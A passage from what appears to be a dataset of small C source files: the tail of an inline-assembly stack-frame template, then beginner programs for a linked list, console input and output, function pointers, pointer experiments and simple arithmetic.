\n" // syscall "mov esp, ebp \n" // Restore stack pointer "pop ebp \n" // Restore calling function frame "ret" ); __asm__ volatile ( "template: \n" "push ebp \n" // Save stack-frame base pointer "mov ebp, esp \n" // Set location of the stack "sub esp, 0x10 \n" // Make space that you need // Here be dragons "mov esp, ebp \n" // Restore stack pointer "pop ebp \n" // Restore calling function frame "ret" ); __asm__ volatile ("end:"); return 0; }
the_stack_data/14200945.c
#include<stdio.h> #include<stdlib.h> struct node { int data; struct node* link; }; struct node* get_new_node() { return (struct node*)malloc(sizeof(struct node)); } struct node* insert_at_beginning(struct node* head, int data) { struct node* new_node = get_new_node(); new_node->data = data; new_node->link = head; head = new_node; //printf("\n%x\n", head); return head; } struct node* insert_at_end(struct node* head, int data) { if (!head)// when no node are in ll { struct node* t = (struct node*)malloc(sizeof(struct node)); t->data= data; t->link = NULL; head = t; return head; } struct node* temp; temp = head; while (temp->link) temp = temp->link; struct node* new_node = get_new_node(); temp->link = new_node; new_node->data = data; new_node->link = NULL; return head; } struct node* insert_in_between(struct node* head, int data, int value) { struct node* temp = head; while (temp->data != value) temp = temp->link; struct node* new_node = get_new_node(); new_node->link = temp->link; temp->link = new_node; new_node->data = data; return head; } struct node* delete_from_beginning(struct node* head) { if (head == NULL)// the linked list is empty and it has nothing to delete return head; /* else if (head ->link == NULL)// ll has one node which needs to be deleted { free(head); head = NULL; return head; } */ else { struct node* temp = head; head = head->link; free(temp); return head; } } struct node* delete_from_end(struct node* head) { if (head == NULL) return NULL; else if(head -> link == NULL)// there is only one element in ll { free(head); return NULL; } else { struct node* temp = head; while (temp->link->link != NULL) temp = temp->link; free(temp->link); temp->link = NULL; return head; } } struct node* delete_from_middle(struct node* head, int x) { if (head == NULL) return NULL; else if (head->link == NULL && head->data != x)// checks if ll has only one element and that is not the element to be deleted { printf("\n There is no such node\n"); return head; } else if (head->data == x)// to delete the first node of ll { struct node* temp = head; head = head->link; free(temp); return head; } else { int flag = 0; struct node* temp = head; while (temp->link->data != x) { if (temp->link->link == NULL)// traversing of ll is over and yet we didn't found x { flag = 1; break; } temp = temp->link; } if (flag) { printf("\n there is no such element \n"); return head; } struct node* t1 = temp->link; temp->link = temp->link->link; free(t1); return head; } } void traverse_ll(struct node* head) { struct node* temp = head; while (temp) { printf("%d ", temp->data); temp = temp->link; } } int main() { int i, value; struct node* head; int ch, data, x; do { printf("\nEnter your choice : \n1.Insert at beginning\n2.Insert at end\n3.Insert in between\n4.Traverse\n5.Delete from beginning\n6.Delete from end\n7.Delete from middle\n8.Exit\n"); scanf("%d", &ch); switch(ch) { case 1: printf("\nEnter the data\n"); scanf("%d", &data); head = insert_at_beginning(head, data); break; case 2: printf("\nEnter the data\n"); scanf("%d", &data); head = insert_at_end(head, data); break; case 3: printf("\nEnter the data\n"); scanf("%d", &data); printf("\nEnter value after which you want to insert\n"); scanf("%d", &value); head = insert_in_between(head, data, value); break; case 4: traverse_ll(head); break; case 5: head = delete_from_beginning(head); break; case 6: head = delete_from_end(head); break; case 7: printf("\nEnter value you want to delete\n"); scanf("%d", &x); head = delete_from_middle(head, x); break; } }while (ch != 8); }
the_stack_data/206392369.c
#include <stdio.h> #include <stdlib.h> #include <ctype.h> int main(){ int num1 =0; float num2 = 0.0; char letra = ' '; printf(" Digite um numero inteiro, um numero real, e uma letra \n"); scanf("%d %f %c",&num1,&num2,&letra); printf(" Inteiro: %d | Real: %f | caractere: %c ",num1,num2,letra); return 0; }
the_stack_data/20449513.c
#include <stdio.h> void A() { printf("Hi"); } void B(void(* ptr)()) { (*ptr) (); } int main() { void (* ptr)() = &A; B(ptr); return 0; }
the_stack_data/103265876.c
// Hello World Program #include<stdio.h> #include<stdlib.h> void main(){ // int a,b; // int * pointer1,* pointer2; // a=100;b=10; // pointer1 = &a; // pointer2 = &b; // int *pointer3 = &b; // int *pointer4; // pointer4 = &b; // printf("%d,%d\n",a,b); // printf("%d,%d,%d,%d\n",pointer1,pointer2,pointer3,pointer4); // int x = 100; // char str[20] = "c.biancheng.net"; // printf("%#X, %#X\n", &x, str); // int a = 15, b = 99, c = 222; // int *p = &a; //ๅฎšไน‰ๆŒ‡้’ˆๅ˜้‡ // *p = b; //้€š่ฟ‡ๆŒ‡้’ˆๅ˜้‡ไฟฎๆ”นๅ†…ๅญ˜ไธŠ็š„ๆ•ฐๆฎ // c = *p; //้€š่ฟ‡ๆŒ‡้’ˆๅ˜้‡่Žทๅ–ๅ†…ๅญ˜ไธŠ็š„ๆ•ฐๆฎ // printf("%d, %d, %d, %d,%d\n", a, b, c, *p, p); // printf("%d,%s\n",NULL,NULL); /* strlen: return length of string s */ // int strlen(char *s) // { // int n; // for (n = 0; *s != '\0'; s++) // { n++; // printf("char is:%c\n",*s); // } // return n; // } // char char1[3] = {'a','b'}; // char arr[10]; // char *p1 = char1; // int l1 = strlen("akjfladjfkj"); // int l2 = strlen(arr); // int l3 = strlen(p1); // printf("%c",char1[5]); // printf("tree lengths:%d,%d,%d",l1,l2,l3); // int *qp; // int a =1; // int b =2; // qp = malloc(4*sizeof(int)); // // qp + 1 = &b; // *qp = 1; // *(qp+1) = b; // printf("%d",qp[1]); // char c ='c'; // printf("%c",c); }
the_stack_data/70469.c
// Just sub two variables int main() { int a,b,c; a = 10; b = 5; c = a - b; return 0; }